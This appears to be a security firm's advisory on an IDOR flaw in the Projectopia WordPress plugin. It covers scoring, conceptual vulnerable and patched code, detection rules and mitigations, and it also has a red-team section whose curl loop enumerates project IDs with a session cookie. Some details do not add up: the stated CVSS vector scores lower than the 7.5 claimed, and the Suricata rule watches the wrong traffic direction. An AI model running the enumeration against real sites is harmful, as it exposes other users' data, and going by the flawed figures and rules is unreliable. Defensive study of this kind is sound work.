CVE-2025-59133

Executive Summary

CVE-2025-59133 is an Insecure Direct Object Reference (IDOR) vulnerability affecting the Projectopia WordPress plugin, versions 5.1.25.2 and earlier. This vulnerability allows an authenticated attacker with a custom role to access or modify objects (such as projects, tasks, or client data) that belong to other users by manipulating direct object references (e.g., IDs in URL parameters). The vulnerability has a CVSS score of 7.5 (High) due to its low attack complexity and potential for significant data confidentiality impact.

The vulnerability is specific to the WordPress ecosystem and is not related to the underlying web server (Apache/Nginx). The patch status is currently unknown, and no public exploit code or proof-of-concept has been released. The EPSS score is 0.0%, indicating a very low probability of exploitation in the wild at this time.

Supply Chain & Package Security

Projectopia is a commercial WordPress plugin distributed via third-party marketplaces and direct sales. The vulnerability exists in the plugin's custom role handling logic, which fails to properly enforce authorization checks when accessing resources via direct object references. This is a classic CWE-639 issue.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (High)
• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – An attacker needs a valid account with a custom role.
• User Interaction (UI): None (N) – No user interaction is required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Sensitive data (e.g., client projects, tasks) can be exposed.
• Integrity (I): None (N) – Data integrity is not directly impacted.
• Availability (A): None (N) – Availability is not affected.

Threat Level: High. While no public exploit exists, the low complexity and potential for data leakage make this a significant risk for organizations using the vulnerable plugin.

Deep Dive & Mechanics

The vulnerability lies in the Projectopia plugin's custom role system. The plugin allows administrators to create custom roles with specific permissions. However, when a user with a custom role accesses resources (e.g., project details, task lists, client information), the plugin fails to verify that the user is authorized to access the specific object.

Mechanism:

1. An attacker authenticates with a custom role (e.g., "Project Manager").
2. The attacker identifies a direct object reference, such as a project ID in the URL: https://example.com/wp-admin/admin.php?page=projectopia-projects&project_id=123.
3. The attacker modifies the project_id parameter to another value (e.g., 124).
4. The plugin returns the data for project 124 without checking if the attacker's role has permission to access that specific project.

This is a classic IDOR vulnerability, where the application relies on the user-provided identifier without proper authorization checks.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common IDOR fixes.

Vulnerable Code (Conceptual):

// In a Projectopia controller or handler
function get_project_details() {
    $project_id = $_GET['project_id'];
    // Directly query the database without authorization check
    $project = $wpdb->get_row("SELECT * FROM {$wpdb->prefix}projectopia_projects WHERE id = $project_id");
    return $project;
}

Patched Code (Conceptual):

function get_project_details() {
    $project_id = intval($_GET['project_id']);
    $user_id = get_current_user_id();
    // Check if the user has access to this specific project
    if ( ! user_can_access_project( $user_id, $project_id ) ) {
        wp_die( 'Unauthorized access.' );
    }
    $project = $wpdb->get_row($wpdb->prepare("SELECT * FROM {$wpdb->prefix}projectopia_projects WHERE id = %d", $project_id));
    return $project;
}

The patched version adds an authorization check (user_can_access_project) before returning the data.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress instance with Projectopia <= 5.1.25.2 installed.
• A user account with a custom role (e.g., "Project Manager").

Exploitation Steps:

1. Log in as the custom role user.
2. Navigate to a legitimate resource, e.g., https://example.com/wp-admin/admin.php?page=projectopia-projects&project_id=1.
3. Observe the project ID in the URL.
4. Modify the project_id parameter to enumerate other projects:

   https://example.com/wp-admin/admin.php?page=projectopia-projects&project_id=2
   https://example.com/wp-admin/admin.php?page=projectopia-projects&project_id=3
   

5. If the response contains data for project IDs that the user should not have access to, the vulnerability is confirmed.

Automated Enumeration (using curl):

#!/bin/bash
# Enumerate project IDs from 1 to 100
for i in $(seq 1 100); do
    curl -s -b "wordpress_logged_in_<hash>=<cookie_value>" \
        "https://example.com/wp-admin/admin.php?page=projectopia-projects&project_id=$i" \
        | grep -oP '(?<=<title>).*?(?=</title>)' && echo "Project $i accessible"
done

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual patterns in URL parameters, especially sequential or brute-force enumeration of IDs.
• Look for access to admin.php?page=projectopia-* endpoints from users with custom roles that should not have access to all projects.

Hardening:

• Implement a Web Application Firewall (WAF) rule to block requests with suspicious ID patterns.
• Apply the principle of least privilege: ensure custom roles have the minimum necessary permissions.
• If possible, disable the custom role feature until a patch is available.

Indicators of Compromise (IOCs)

• URL Patterns: admin.php?page=projectopia-projects&project_id=<integer> where <integer> is outside the user's authorized range.
• Log Entries: Repeated 200 OK responses to admin.php?page=projectopia-* with varying project_id values from the same user.
• Database Queries: Unusual SELECT queries on wp_projectopia_projects table from non-admin users.

Detection Engineering

YARA Rule

rule Detect_Projectopia_IDOR_Exploitation {
    meta:
        description = "Detects potential IDOR exploitation attempts against Projectopia plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-59133"
    strings:
        $url_pattern = /admin\.php\?page=projectopia-[a-z]+&[a-z]+_id=\d+/ nocase
        $projectopia_ref = "projectopia" nocase
    condition:
        $url_pattern and $projectopia_ref
}

Sigma Rule

title: Projectopia IDOR Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential IDOR exploitation against Projectopia plugin (CVE-2025-59133)
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains: 
            - 'page=projectopia-'
            - '_id='
    condition: selection
falsepositives:
    - Legitimate use of the plugin by authorized users
level: medium
tags:
    - attack.initial_access
    - attack.t1190

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-59133 - Projectopia IDOR Exploitation Attempt";
    flow:to_server,established;
    content:"admin.php"; http_uri;
    content:"page=projectopia-"; http_uri;
    content:"_id="; http_uri;
    pcre:"/admin\.php\?page=projectopia-[a-z]+&[a-z]+_id=\d+/Ui";
    classtype:attempted-recon;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable Custom Roles: If possible, disable the custom role feature in Projectopia until a patch is available.
2. Restrict Access: Use a WAF to block requests with suspicious ID patterns.
3. Monitor Logs: Actively monitor web server logs for the IOCs mentioned above.

Long-Term Fix:

• Apply the vendor patch as soon as it is released.
• If no patch is forthcoming, consider replacing the plugin with an alternative that has proper authorization checks.

Workaround:

• Implement a custom plugin or mu-plugin that adds authorization checks to Projectopia's endpoints. Example:

add_action( 'admin_init', function() {
    if ( isset( $_GET['page'] ) && strpos( $_GET['page'], 'projectopia-' ) === 0 ) {
        // Add custom authorization logic here
        if ( ! current_user_can( 'manage_options' ) ) {
            wp_die( 'Unauthorized.' );
        }
    }
});

Valters IT
Securing Digital Frontiers